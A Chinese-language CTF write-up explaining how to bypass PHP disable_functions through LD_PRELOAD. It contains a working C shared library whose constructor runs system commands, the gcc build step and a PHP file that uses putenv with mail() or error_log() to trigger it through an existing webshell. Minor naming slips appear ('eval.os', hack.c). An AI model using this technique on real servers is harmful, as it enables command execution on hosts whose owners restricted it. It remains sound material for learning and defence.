Bypass disable_function —— LD_PRELOAD

Bypass disable_function —— LD_PRELOAD

CTFHub-web技能树中的一道题
做这道题之前,先要稍微了解下:
LD_PRELOAD:
是Linux系统的一个环境变量,它指定的*.so文件会在程序本身的*.so文件之前被加载。
putenv():
PHP函数,可以设置环境变量
mail(),error_log()
PHP函数,在运行时会执行系统中的程序:sendmail

题目描述
已经拿到了shell,但是PHP配置中的disable_functions禁用了大部分常规的的可以执行系统命令的函数,所以即使拿到了shell,也只能执行对文件的读写删除操作,没法执行系统命令。这题让通过LD_PRELOAD来进行绕过。

/?ant=phpinfo();
发现这题并没有ban掉putenv()函数,mail()函数,和error_log()函数;
所以可以通过这几点来进行绕过。

题目思路
构造一个带命令执行的eval.os文件,让其被LD_PRELOAD加载;然后在PHP中调用mail函数或error_log函数,函数内部会执行系统的sendmail命令;这样我们构造的eval.os就会加载并覆盖sendmail本应调用的库函数,达到命令执行的效果。

实施思路
首蚁剑连接,方便上传文件等操作。
首先写eval.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void hausa_zui_shuai(void)
{
    unsetenv("LD_PRELOAD");
    system("echo any_other_eval_code");
    system("/readflag > /tmp/hausa.txt");
}

小解释:__attribute__ ((__constructor__))这个参数,可以读一下参考博文,它使得被自己修饰的函数在main函数前执行。
然后gcc -shared -fPIC hack.c -o eval.so将这个源文件编译成动态链接库文件,并将其上传到服务器的/tmp目录下。

然后是shell.php文件:

<?Php
putenv("LD_PRELOAD=/tmp/eval.so");
mail("", "", "", "");
error_log("",1,"","");
?>

将此文件上传至?/var/www/html目录下,通过地址栏访问http://host:port/shell.php

接下来,在访问过程中,putenv()函数将我们写好的恶意动态链接库文件赋值给LD_PRELOAD环境变量,然后在调用mail()和error_log的时候,Linux会执行系统程序sendmail,但是在执行sendmail的main函数之前,会先执行我们设计好的用了__attribute__ ((__constructor__))参数修饰的恶意函数,从而导致了命令的执行。
最后在/tmp目录下,刷新蚁剑,即可看到hausa.txt文件
其中即为flag

尚存的问题
为什么eval.so必须上传到/tmp目录下?放在/var/www/html目录下为什么不能被执行?是权限问题吗?
如果有了解的师傅,请务必在下方评论,菜鸟不胜感激。

参考文章:
CTFHub的官方WP,由于平台中WP需金币,所以就不贴链接了。
关于__attribute__ ((__constructor__))的描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章